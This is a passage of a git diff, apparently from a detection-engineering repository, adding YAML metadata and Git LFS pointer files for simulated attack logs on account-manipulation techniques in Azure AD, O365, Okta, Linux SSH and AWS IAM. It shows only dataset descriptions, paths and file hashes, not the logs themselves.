b/datasets/attack_techniques/T1098.003/azure_ad_privileged_role_serviceprincipal/azure-audit-c9779c66-267d-4c75-b9a1-7c5fac6abf1b.log new file mode 100644 index 000000000..146d7e9e2 --- /dev/null +++ b/datasets/attack_techniques/T1098.003/azure_ad_privileged_role_serviceprincipal/azure-audit-c9779c66-267d-4c75-b9a1-7c5fac6abf1b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fec6d2ffdc22146be5e4f6f9f8f7f0dcd1b2f030286b55f55694aedbd85e4c81 +size 1971 diff --git a/datasets/attack_techniques/T1098.003/azure_ad_spn_privesc/T1098.003_azure_ad_spn_privesc.yml b/datasets/attack_techniques/T1098.003/azure_ad_spn_privesc/T1098.003_azure_ad_spn_privesc.yml new file mode 100644 index 000000000..c8d1aacfc --- /dev/null +++ b/datasets/attack_techniques/T1098.003/azure_ad_spn_privesc/T1098.003_azure_ad_spn_privesc.yml @@ -0,0 +1,13 @@ +author: STRT +id: 4ebb5f58-23c8-4492-bea0-784c95d82066 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Service Principal + Privilege Escalation +environment: attack_range +directory: azure_ad_spn_privesc +mitre_technique: [] +datasets: +- name: azure_ad_spn_privesc + path: /datasets/attack_techniques/T1098.003/azure_ad_spn_privesc/azure_ad_spn_privesc-4ebb5f58-23c8-4492-bea0-784c95d82066.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1098.003/azure_ad_spn_privesc/azure_ad_spn_privesc-4ebb5f58-23c8-4492-bea0-784c95d82066.log b/datasets/attack_techniques/T1098.003/azure_ad_spn_privesc/azure_ad_spn_privesc-4ebb5f58-23c8-4492-bea0-784c95d82066.log new file mode 100644 index 000000000..65bdab7f2 --- /dev/null +++ b/datasets/attack_techniques/T1098.003/azure_ad_spn_privesc/azure_ad_spn_privesc-4ebb5f58-23c8-4492-bea0-784c95d82066.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1f7f30795dfc68a8bf307a438d12f58f01f2e640847916d9f7cbcf22e7bf0cfe +size 3304 diff --git a/datasets/attack_techniques/T1098.003/o365_admin_consent/T1098.003_o365_admin_consent.yml b/datasets/attack_techniques/T1098.003/o365_admin_consent/T1098.003_o365_admin_consent.yml new file mode 100644 index 000000000..feb5dc602 --- /dev/null +++ b/datasets/attack_techniques/T1098.003/o365_admin_consent/T1098.003_o365_admin_consent.yml @@ -0,0 +1,13 @@ +author: STRT +id: 95ed0dbb-0127-4cb7-9a78-9966b2cba655 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Tenant Wide Admin Consent + Granted +environment: attack_range +directory: o365_admin_consent +mitre_technique: [] +datasets: +- name: o365_admin_consent + path: /datasets/attack_techniques/T1098.003/o365_admin_consent/o365_admin_consent-95ed0dbb-0127-4cb7-9a78-9966b2cba655.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1098.003/o365_admin_consent/o365_admin_consent-95ed0dbb-0127-4cb7-9a78-9966b2cba655.log b/datasets/attack_techniques/T1098.003/o365_admin_consent/o365_admin_consent-95ed0dbb-0127-4cb7-9a78-9966b2cba655.log new file mode 100644 index 000000000..868aad0d5 --- /dev/null +++ b/datasets/attack_techniques/T1098.003/o365_admin_consent/o365_admin_consent-95ed0dbb-0127-4cb7-9a78-9966b2cba655.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:19c5f615a7e0117bdc227649359a08f7f532c4192d9441db1e9e584aad11ced1 +size 2476 diff --git a/datasets/attack_techniques/T1098.003/o365_bypass_admin_consent/T1098.003_o365_bypass_admin_consent.yml b/datasets/attack_techniques/T1098.003/o365_bypass_admin_consent/T1098.003_o365_bypass_admin_consent.yml new file mode 100644 index 000000000..0c3f34848 --- /dev/null +++ b/datasets/attack_techniques/T1098.003/o365_bypass_admin_consent/T1098.003_o365_bypass_admin_consent.yml @@ -0,0 +1,13 @@ +author: STRT +id: fd53d6cd-5930-4f58-af7e-261a2f3ffa05 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Admin Consent Bypassed + by Service Principal +environment: attack_range +directory: o365_bypass_admin_consent +mitre_technique: [] +datasets: +- name: o365_bypass_admin_consent + path: /datasets/attack_techniques/T1098.003/o365_bypass_admin_consent/o365_bypass_admin_consent-fd53d6cd-5930-4f58-af7e-261a2f3ffa05.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1098.003/o365_bypass_admin_consent/o365_bypass_admin_consent-fd53d6cd-5930-4f58-af7e-261a2f3ffa05.log b/datasets/attack_techniques/T1098.003/o365_bypass_admin_consent/o365_bypass_admin_consent-fd53d6cd-5930-4f58-af7e-261a2f3ffa05.log new file mode 100644 index 000000000..2b53860b4 --- /dev/null +++ b/datasets/attack_techniques/T1098.003/o365_bypass_admin_consent/o365_bypass_admin_consent-fd53d6cd-5930-4f58-af7e-261a2f3ffa05.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c17585fc565a40c73ee99a8f6d60be419ca353019f9cc0c1a22dbb9338fa2d5a +size 5109 diff --git a/datasets/attack_techniques/T1098.003/o365_grant_mail_read/T1098.003_o365_grant_mail_read.yml b/datasets/attack_techniques/T1098.003/o365_grant_mail_read/T1098.003_o365_grant_mail_read.yml new file mode 100644 index 000000000..5158f7a83 --- /dev/null +++ b/datasets/attack_techniques/T1098.003/o365_grant_mail_read/T1098.003_o365_grant_mail_read.yml @@ -0,0 +1,13 @@ +author: STRT +id: 89c0ae81-1f5d-405b-8985-fd63b6e58a78 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Mailbox Read Access + Granted to Application +environment: attack_range +directory: o365_grant_mail_read +mitre_technique: [] +datasets: +- name: o365_grant_mail_read + path: /datasets/attack_techniques/T1098.003/o365_grant_mail_read/o365_grant_mail_read-89c0ae81-1f5d-405b-8985-fd63b6e58a78.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1098.003/o365_grant_mail_read/o365_grant_mail_read-89c0ae81-1f5d-405b-8985-fd63b6e58a78.log b/datasets/attack_techniques/T1098.003/o365_grant_mail_read/o365_grant_mail_read-89c0ae81-1f5d-405b-8985-fd63b6e58a78.log new file mode 100644 index 000000000..33319ad16 --- /dev/null +++ b/datasets/attack_techniques/T1098.003/o365_grant_mail_read/o365_grant_mail_read-89c0ae81-1f5d-405b-8985-fd63b6e58a78.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:67f99990fe85897831dcb21fc5d12e894c5fa48c1ebb8a570d59c83a428f29bf +size 2939 diff --git a/datasets/attack_techniques/T1098.003/o365_high_priv_role_assigned/T1098.003_o365_high_priv_role_assigned.yml b/datasets/attack_techniques/T1098.003/o365_high_priv_role_assigned/T1098.003_o365_high_priv_role_assigned.yml new file mode 100644 index 000000000..31e14f6df --- /dev/null +++ b/datasets/attack_techniques/T1098.003/o365_high_priv_role_assigned/T1098.003_o365_high_priv_role_assigned.yml @@ -0,0 +1,13 @@ +author: STRT +id: a31c5655-6e13-4aa9-80e3-320307302698 +date: '2026-07-10' +description: Curated attack data generated for detection O365 High Privilege Role + Granted +environment: attack_range +directory: o365_high_priv_role_assigned +mitre_technique: [] +datasets: +- name: o365_high_priv_role_assigned + path: /datasets/attack_techniques/T1098.003/o365_high_priv_role_assigned/o365_high_priv_role_assigned-a31c5655-6e13-4aa9-80e3-320307302698.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1098.003/o365_high_priv_role_assigned/o365_high_priv_role_assigned-a31c5655-6e13-4aa9-80e3-320307302698.log b/datasets/attack_techniques/T1098.003/o365_high_priv_role_assigned/o365_high_priv_role_assigned-a31c5655-6e13-4aa9-80e3-320307302698.log new file mode 100644 index 000000000..8521fa02b --- /dev/null +++ b/datasets/attack_techniques/T1098.003/o365_high_priv_role_assigned/o365_high_priv_role_assigned-a31c5655-6e13-4aa9-80e3-320307302698.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:eed73b87142751657518cb79927491ae542801132c1ea60262a7a3eac85d3874 +size 7616 diff --git a/datasets/attack_techniques/T1098.003/o365_privileged_graph_perm_assigned/T1098.003_o365_privileged_graph_perm_assigned.yml b/datasets/attack_techniques/T1098.003/o365_privileged_graph_perm_assigned/T1098.003_o365_privileged_graph_perm_assigned.yml new file mode 100644 index 000000000..6a5fb36e6 --- /dev/null +++ b/datasets/attack_techniques/T1098.003/o365_privileged_graph_perm_assigned/T1098.003_o365_privileged_graph_perm_assigned.yml @@ -0,0 +1,13 @@ +author: STRT +id: f2c6d6ec-38c3-4e3e-b614-4f2a4b303173 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Privileged Graph API + Permission Assigned +environment: attack_range +directory: o365_privileged_graph_perm_assigned +mitre_technique: [] +datasets: +- name: o365_privileged_graph_perm_assigned + path: /datasets/attack_techniques/T1098.003/o365_privileged_graph_perm_assigned/o365_privileged_graph_perm_assigned-f2c6d6ec-38c3-4e3e-b614-4f2a4b303173.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1098.003/o365_privileged_graph_perm_assigned/o365_privileged_graph_perm_assigned-f2c6d6ec-38c3-4e3e-b614-4f2a4b303173.log b/datasets/attack_techniques/T1098.003/o365_privileged_graph_perm_assigned/o365_privileged_graph_perm_assigned-f2c6d6ec-38c3-4e3e-b614-4f2a4b303173.log new file mode 100644 index 000000000..9d8124694 --- /dev/null +++ b/datasets/attack_techniques/T1098.003/o365_privileged_graph_perm_assigned/o365_privileged_graph_perm_assigned-f2c6d6ec-38c3-4e3e-b614-4f2a4b303173.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c7b12cd2be8bf486c7115a24f072d7c5c72e30dcadbc5e47076c2bffa98c34f8 +size 5014 diff --git a/datasets/attack_techniques/T1098.003/o365_spn_privesc/T1098.003_o365_spn_privesc.yml b/datasets/attack_techniques/T1098.003/o365_spn_privesc/T1098.003_o365_spn_privesc.yml new file mode 100644 index 000000000..5f8c91c98 --- /dev/null +++ b/datasets/attack_techniques/T1098.003/o365_spn_privesc/T1098.003_o365_spn_privesc.yml @@ -0,0 +1,13 @@ +author: STRT +id: a73d8d53-6eca-4b04-82b0-9df1dff96b69 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Service Principal Privilege + Escalation +environment: attack_range +directory: o365_spn_privesc +mitre_technique: [] +datasets: +- name: o365_spn_privesc + path: /datasets/attack_techniques/T1098.003/o365_spn_privesc/o365_spn_privesc-a73d8d53-6eca-4b04-82b0-9df1dff96b69.log + sourcetype: o365:management:activity + source: Office 365 diff --git a/datasets/attack_techniques/T1098.003/o365_spn_privesc/o365_spn_privesc-a73d8d53-6eca-4b04-82b0-9df1dff96b69.log b/datasets/attack_techniques/T1098.003/o365_spn_privesc/o365_spn_privesc-a73d8d53-6eca-4b04-82b0-9df1dff96b69.log new file mode 100644 index 000000000..88b30238f --- /dev/null +++ b/datasets/attack_techniques/T1098.003/o365_spn_privesc/o365_spn_privesc-a73d8d53-6eca-4b04-82b0-9df1dff96b69.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5fd853a800b09b75856ea305dbeb1db5516cce45a3dde9352a85548375322255 +size 3675 diff --git a/datasets/attack_techniques/T1098.004/auditd_path_ssh_config/T1098.004_auditd_path_ssh_config.yml b/datasets/attack_techniques/T1098.004/auditd_path_ssh_config/T1098.004_auditd_path_ssh_config.yml new file mode 100644 index 000000000..f1550b440 --- /dev/null +++ b/datasets/attack_techniques/T1098.004/auditd_path_ssh_config/T1098.004_auditd_path_ssh_config.yml @@ -0,0 +1,13 @@ +author: STRT +id: fe222094-12ed-49fe-b6a8-97b9aafcab3d +date: '2026-07-10' +description: Curated attack data generated for detection Linux Auditd Possible Access + Or Modification Of Sshd Config File +environment: attack_range +directory: auditd_path_ssh_config +mitre_technique: [] +datasets: +- name: path_ssh_config + path: /datasets/attack_techniques/T1098.004/auditd_path_ssh_config/path_ssh_config-fe222094-12ed-49fe-b6a8-97b9aafcab3d.log + sourcetype: auditd + source: auditd diff --git a/datasets/attack_techniques/T1098.004/auditd_path_ssh_config/path_ssh_config-fe222094-12ed-49fe-b6a8-97b9aafcab3d.log b/datasets/attack_techniques/T1098.004/auditd_path_ssh_config/path_ssh_config-fe222094-12ed-49fe-b6a8-97b9aafcab3d.log new file mode 100644 index 000000000..6556cd012 --- /dev/null +++ b/datasets/attack_techniques/T1098.004/auditd_path_ssh_config/path_ssh_config-fe222094-12ed-49fe-b6a8-97b9aafcab3d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bcd697720f402598987e64480505857c045275a9e6942782cfee4bba4a0ee3aa +size 793 diff --git a/datasets/attack_techniques/T1098.004/ssh_authorized_keys/T1098.004_ssh_authorized_keys.yml b/datasets/attack_techniques/T1098.004/ssh_authorized_keys/T1098.004_ssh_authorized_keys.yml new file mode 100644 index 000000000..6f0544a53 --- /dev/null +++ b/datasets/attack_techniques/T1098.004/ssh_authorized_keys/T1098.004_ssh_authorized_keys.yml @@ -0,0 +1,17 @@ +author: STRT +id: 3ddf2007-c59e-47ef-8f3d-438dff8ed0c0 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Possible Access Or + Modification Of sshd Config File +environment: attack_range +directory: ssh_authorized_keys +mitre_technique: [] +datasets: +- name: sysmon_linux + path: /datasets/attack_techniques/T1098.004/ssh_authorized_keys/sysmon_linux-3ddf2007-c59e-47ef-8f3d-438dff8ed0c0.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational +- name: authkey_linux-sysmon + path: /datasets/attack_techniques/T1098.004/ssh_authorized_keys/authkey_linux-sysmon-3ddf2007-c59e-47ef-8f3d-438dff8ed0c0.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational diff --git a/datasets/attack_techniques/T1098.004/ssh_authorized_keys/authkey_linux-sysmon-3ddf2007-c59e-47ef-8f3d-438dff8ed0c0.log b/datasets/attack_techniques/T1098.004/ssh_authorized_keys/authkey_linux-sysmon-3ddf2007-c59e-47ef-8f3d-438dff8ed0c0.log new file mode 100644 index 000000000..2cc30da11 --- /dev/null +++ b/datasets/attack_techniques/T1098.004/ssh_authorized_keys/authkey_linux-sysmon-3ddf2007-c59e-47ef-8f3d-438dff8ed0c0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:10bf4bc0532595ea129b93bdff3a751cc32cc2155ef1915af07dcdbc1c634265 +size 3089 diff --git a/datasets/attack_techniques/T1098.004/ssh_authorized_keys/sysmon_linux-3ddf2007-c59e-47ef-8f3d-438dff8ed0c0.log b/datasets/attack_techniques/T1098.004/ssh_authorized_keys/sysmon_linux-3ddf2007-c59e-47ef-8f3d-438dff8ed0c0.log new file mode 100644 index 000000000..72aa7d11d --- /dev/null +++ b/datasets/attack_techniques/T1098.004/ssh_authorized_keys/sysmon_linux-3ddf2007-c59e-47ef-8f3d-438dff8ed0c0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8b8b0c9af1c60eb93ca77c5339d744055167aeaad8a756d3c76c542dcc6c7035 +size 1848 diff --git a/datasets/attack_techniques/T1098.005/azure_ad_register_new_mfa_method/T1098.005_azure_ad_register_new_mfa_method.yml b/datasets/attack_techniques/T1098.005/azure_ad_register_new_mfa_method/T1098.005_azure_ad_register_new_mfa_method.yml new file mode 100644 index 000000000..22de60fa2 --- /dev/null +++ b/datasets/attack_techniques/T1098.005/azure_ad_register_new_mfa_method/T1098.005_azure_ad_register_new_mfa_method.yml @@ -0,0 +1,12 @@ +author: STRT +id: 608724ba-e1ed-4b22-b74a-e29ad3336a9e +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD New MFA Method Registered +environment: attack_range +directory: azure_ad_register_new_mfa_method +mitre_technique: [] +datasets: +- name: azure_ad_register_new_mfa_method + path: /datasets/attack_techniques/T1098.005/azure_ad_register_new_mfa_method/azure_ad_register_new_mfa_method-608724ba-e1ed-4b22-b74a-e29ad3336a9e.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1098.005/azure_ad_register_new_mfa_method/azure_ad_register_new_mfa_method-608724ba-e1ed-4b22-b74a-e29ad3336a9e.log b/datasets/attack_techniques/T1098.005/azure_ad_register_new_mfa_method/azure_ad_register_new_mfa_method-608724ba-e1ed-4b22-b74a-e29ad3336a9e.log new file mode 100644 index 000000000..90e627369 --- /dev/null +++ b/datasets/attack_techniques/T1098.005/azure_ad_register_new_mfa_method/azure_ad_register_new_mfa_method-608724ba-e1ed-4b22-b74a-e29ad3336a9e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:10ccd95af47086557ae68ee3b7eb005ac56df8e1c774e049f68ef4392ef36413 +size 1737 diff --git a/datasets/attack_techniques/T1098.005/o365_register_new_mfa_method/T1098.005_o365_register_new_mfa_method.yml b/datasets/attack_techniques/T1098.005/o365_register_new_mfa_method/T1098.005_o365_register_new_mfa_method.yml new file mode 100644 index 000000000..8a046eb03 --- /dev/null +++ b/datasets/attack_techniques/T1098.005/o365_register_new_mfa_method/T1098.005_o365_register_new_mfa_method.yml @@ -0,0 +1,12 @@ +author: STRT +id: 4425b8a0-5d26-4126-b27e-37b0ac5b8816 +date: '2026-07-10' +description: Curated attack data generated for detection O365 New MFA Method Registered +environment: attack_range +directory: o365_register_new_mfa_method +mitre_technique: [] +datasets: +- name: o365_register_new_mfa_method + path: /datasets/attack_techniques/T1098.005/o365_register_new_mfa_method/o365_register_new_mfa_method-4425b8a0-5d26-4126-b27e-37b0ac5b8816.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1098.005/o365_register_new_mfa_method/o365_register_new_mfa_method-4425b8a0-5d26-4126-b27e-37b0ac5b8816.log b/datasets/attack_techniques/T1098.005/o365_register_new_mfa_method/o365_register_new_mfa_method-4425b8a0-5d26-4126-b27e-37b0ac5b8816.log new file mode 100644 index 000000000..b50942e15 --- /dev/null +++ b/datasets/attack_techniques/T1098.005/o365_register_new_mfa_method/o365_register_new_mfa_method-4425b8a0-5d26-4126-b27e-37b0ac5b8816.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e7057d7b8ddf141257f0fa03d845eca6626471afecd68927ebacc84d2f0ea3b8 +size 5680 diff --git a/datasets/attack_techniques/T1098.005/okta_new_device_enrolled/T1098.005_okta_new_device_enrolled.yml b/datasets/attack_techniques/T1098.005/okta_new_device_enrolled/T1098.005_okta_new_device_enrolled.yml new file mode 100644 index 000000000..084806bd0 --- /dev/null +++ b/datasets/attack_techniques/T1098.005/okta_new_device_enrolled/T1098.005_okta_new_device_enrolled.yml @@ -0,0 +1,13 @@ +author: STRT +id: a060e501-4c73-4457-9a02-a35dcf1f4863 +date: '2026-07-13' +description: Curated attack data generated for detection Okta New Device Enrolled + on Account +environment: attack_range +directory: okta_new_device_enrolled +mitre_technique: [] +datasets: +- name: okta_new_device_enrolled + path: /datasets/attack_techniques/T1098.005/okta_new_device_enrolled/okta_new_device_enrolled-a060e501-4c73-4457-9a02-a35dcf1f4863.log + sourcetype: OktaIM2:log + source: Okta diff --git a/datasets/attack_techniques/T1098.005/okta_new_device_enrolled/okta_new_device_enrolled-a060e501-4c73-4457-9a02-a35dcf1f4863.log b/datasets/attack_techniques/T1098.005/okta_new_device_enrolled/okta_new_device_enrolled-a060e501-4c73-4457-9a02-a35dcf1f4863.log new file mode 100644 index 000000000..97191597d --- /dev/null +++ b/datasets/attack_techniques/T1098.005/okta_new_device_enrolled/okta_new_device_enrolled-a060e501-4c73-4457-9a02-a35dcf1f4863.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f8ec2771496b383efc5e47d3d0686dfa7c6aa182ca9b75761f78e6375341e1b7 +size 4046 diff --git a/datasets/attack_techniques/T1098/account_manipulation/T1098_account_manipulation.yml b/datasets/attack_techniques/T1098/account_manipulation/T1098_account_manipulation.yml new file mode 100644 index 000000000..894635175 --- /dev/null +++ b/datasets/attack_techniques/T1098/account_manipulation/T1098_account_manipulation.yml @@ -0,0 +1,12 @@ +author: STRT +id: 609a129e-d314-4315-abd0-0918ab07a1d6 +date: '2026-07-11' +description: Curated attack data generated for detection Windows AD add Self to Group +environment: attack_range +directory: account_manipulation +mitre_technique: [] +datasets: +- name: xml-windows-security + path: /datasets/attack_techniques/T1098/account_manipulation/xml-windows-security-609a129e-d314-4315-abd0-0918ab07a1d6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1098/account_manipulation/xml-windows-security-609a129e-d314-4315-abd0-0918ab07a1d6.log b/datasets/attack_techniques/T1098/account_manipulation/xml-windows-security-609a129e-d314-4315-abd0-0918ab07a1d6.log new file mode 100644 index 000000000..6b7b9be8d --- /dev/null +++ b/datasets/attack_techniques/T1098/account_manipulation/xml-windows-security-609a129e-d314-4315-abd0-0918ab07a1d6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b4250a98283c3bfbf5f03863d77298eb64c3d50851374de66098ec27fa379d1f +size 4385 diff --git a/datasets/attack_techniques/T1098/aws_iam_delete_policy/T1098_aws_iam_delete_policy.yml b/datasets/attack_techniques/T1098/aws_iam_delete_policy/T1098_aws_iam_delete_policy.yml new file mode 100644 index 000000000..5b4a19bc4 --- /dev/null +++ b/datasets/attack_techniques/T1098/aws_iam_delete_policy/T1098_aws_iam_delete_policy.yml @@ -0,0 +1,16 @@ +author: STRT +id: 627da3f9-3e89-4f81-b7c7-2db09cdc83bb +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS IAM Delete Policy +environment: attack_range +directory: aws_iam_delete_policy +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1098/aws_iam_delete_policy/asl_ocsf_cloudtrail-627da3f9-3e89-4f81-b7c7-2db09cdc83bb.log + sourcetype: aws:asl + source: aws_asl +- name: aws_iam_delete_policy + path: /datasets/attack_techniques/T1098/aws_iam_delete_policy/aws_iam_delete_policy-627da3f9-3e89-4f81-b7c7-2db09cdc83bb.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1098/aws_iam_delete_policy/asl_ocsf_cloudtrail-627da3f9-3e89-4f81-b7c7-2db09cdc83bb.log b/datasets/attack_techniques/T1098/aws_iam_delete_policy/asl_ocsf_cloudtrail-627da3f9-3e89-4f81-b7c7-2db09cdc83bb.log new file mode 100644 index 000000000..9700036ea --- /dev/null +++ b/datasets/attack_techniques/T1098/aws_iam_delete_policy/asl_ocsf_cloudtrail-627da3f9-3e89-4f81-b7c7-2db09cdc83bb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a904eac8644379e46ea2a55d245e30a1779453d05f9954caf231c396f6061771 +size 2424 diff --git a/datasets/attack_techniques/T1098/aws_iam_delete_policy/aws_iam_delete_policy-627da3f9-3e89-4f81-b7c7-2db09cdc83bb.log b/datasets/attack_techniques/T1098/aws_iam_delete_policy/aws_iam_delete_policy-627da3f9-3e89-4f81-b7c7-2db09cdc83bb.log new file mode 100644 index 000000000..ceb3511c7 --- /dev/null +++ b/datasets/attack_techniques/T1098/aws_iam_delete_policy/aws_iam_delete_policy-627da3f9-3e89-4f81-b7c7-2db09cdc83bb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fba163225158e233012bcc6c3edc654da762f043dfc268fb556daaf0b4d8f93d +size 100367 diff --git a/datasets/attack_techniques/T1098/aws_iam_failure_group_deletion/T1098_aws_iam_failure_group_deletion.yml b/datasets/attack_techniques/T1098/aws_iam_failure_group_deletion/T1098_aws_iam_failure_group_deletion.yml new file mode 100644 index 000000000..31a57416e --- /dev/null +++ b/datasets/attack_techniques/T1098/aws_iam_failure_group_deletion/T1098_aws_iam_failure_group_deletion.yml @@ -0,0 +1,17 @@ +author: STRT +id: b93f26dd-d580-4f4d-8ddb-f16faecaaa56 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS IAM Failure Group + Deletion +environment: attack_range +directory: aws_iam_failure_group_deletion +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1098/aws_iam_failure_group_deletion/asl_ocsf_cloudtrail-b93f26dd-d580-4f4d-8ddb-f16faecaaa56.log + sourcetype: aws:asl + source: aws_asl +- name: aws_iam_failure_group_deletion + path: /datasets/attack_techniques/T1098/aws_iam_failure_group_deletion/aws_iam_failure_group_deletion-b93f26dd-d580-4f4d-8ddb-f16faecaaa56.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1098/aws_iam_failure_group_deletion/asl_ocsf_cloudtrail-b93f26dd-d580-4f4d-8ddb-f16faecaaa56.log b/datasets/attack_techniques/T1098/aws_iam_failure_group_deletion/asl_ocsf_cloudtrail-b93f26dd-d580-4f4d-8ddb-f16faecaaa56.log new file mode 100644 index 000000000..8cda1d77c --- /dev/null +++ b/datasets/attack_techniques/T1098/aws_iam_failure_group_deletion/asl_ocsf_cloudtrail-b93f26dd-d580-4f4d-8ddb-f16faecaaa56.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6ef2f8900380c97248f23ab8d832d1e7d3af0795e81cf9fe90786d7a58ee5adf +size 2212 diff --git a/datasets/attack_techniques/T1098/aws_iam_failure_group_deletion/aws_iam_failure_group_deletion-b93f26dd-d580-4f4d-8ddb-f16faecaaa56.log b/datasets/attack_techniques/T1098/aws_iam_failure_group_deletion/aws_iam_failure_group_deletion-b93f26dd-d580-4f4d-8ddb-f16faecaaa56.log new file mode 100644 index 000000000..12800d163 --- /dev/null +++ b/datasets/attack_techniques/T1098/aws_iam_failure_group_deletion/aws_iam_failure_group_deletion-b93f26dd-d580-4f4d-8ddb-f16faecaaa56.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8cf54f1c2bf7e31ef8085054adb4de93b665b6616941d51dbdf2300bf2b9ce6d +size 47083 diff --git a/datasets/attack_techniques/T1098/aws_iam_successful_group_deletion/T1098_aws_iam_successful_group_deletion.yml b/datasets/attack_techniques/T1098/aws_iam_successful_group_deletion/T1098_aws_iam_successful_group_deletion.yml new file mode 100644 index 000000000..a25ff69e7 --- /dev/null +++ b/datasets/attack_techniques/T1098/aws_iam_successful_group_deletion/T1098_aws_iam_successful_group_deletion.yml @@ -0,0 +1,17 @@ +author: STRT +id: 168c087b-33ba-4d0d-8b71-fc9abb643774 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS IAM Successful Group + Deletion +environment: attack_range +directory: aws_iam_successful_group_deletion +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1098/aws_iam_successful_group_deletion/asl_ocsf_cloudtrail-168c087b-33ba-4d0d-8b71-fc9abb643774.log + sourcetype: aws:asl + source: aws_asl +- name: aws_iam_successful_group_deletion + path: /datasets/attack_techniques/T1098/aws_iam_successful_group_deletion/aws_iam_successful_group_deletion-168c087b-33ba-4d0d-8b71-fc9abb643774.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1098/aws_iam_successful_group_deletion/asl_ocsf_cloudtrail-168c087b-33ba-4d0d-8b71-fc9abb643774.log b/datasets/attack_techniques/T1098/aws_iam_successful_group_deletion/asl_ocsf_cloudtrail-168c087b-33ba-4d0d-8b71-fc9abb643774.log new file mode 100644 index 000000000..18a04abba --- /dev/null +++ b/datasets/attack_techniques/T1098/aws_iam_successful_group_deletion/asl_ocsf_cloudtrail-168c087b-33ba-4d0d-8b71-fc9abb643774.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9be77d99ae8217c4ab027b659a88a938b12ed7b37462216aba00e287ceef8b13 +size 2049 diff --git a/datasets/attack_techniques/T1098/aws_iam_successful_group_deletion/aws_iam_successful_group_deletion-168c087b-33ba-4d0d-8b71-fc9abb643774.log b/datasets/attack_techniques/T1098/aws_iam_successful_group_deletion/aws_iam_successful_group_deletion-168c087b-33ba-4d0d-8b71-fc9abb643774.log new file mode 100644 index 000000000..a5e6842e3 --- /dev/null +++ b/datasets/attack_techniques/T1098/aws_iam_successful_group_deletion/aws_iam_successful_group_deletion-168c087b-33ba-4d0d-8b71-fc9abb643774.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4a920d4b7b4d483794021c8d5fa6bff9ed200cdbfb335a77d1e302c038b597b4 +size 74148 diff --git a/datasets/attack_techniques/T1098/azure_ad_add_serviceprincipal_owner/T1098_azure_ad_add_serviceprincipal_owner.yml b/datasets/attack_techniques/T1098/azure_ad_add_serviceprincipal_owner/T1098_azure_ad_add_serviceprincipal_owner.yml new file mode 100644 index 000000000..1e78cc1cc --- /dev/null +++ 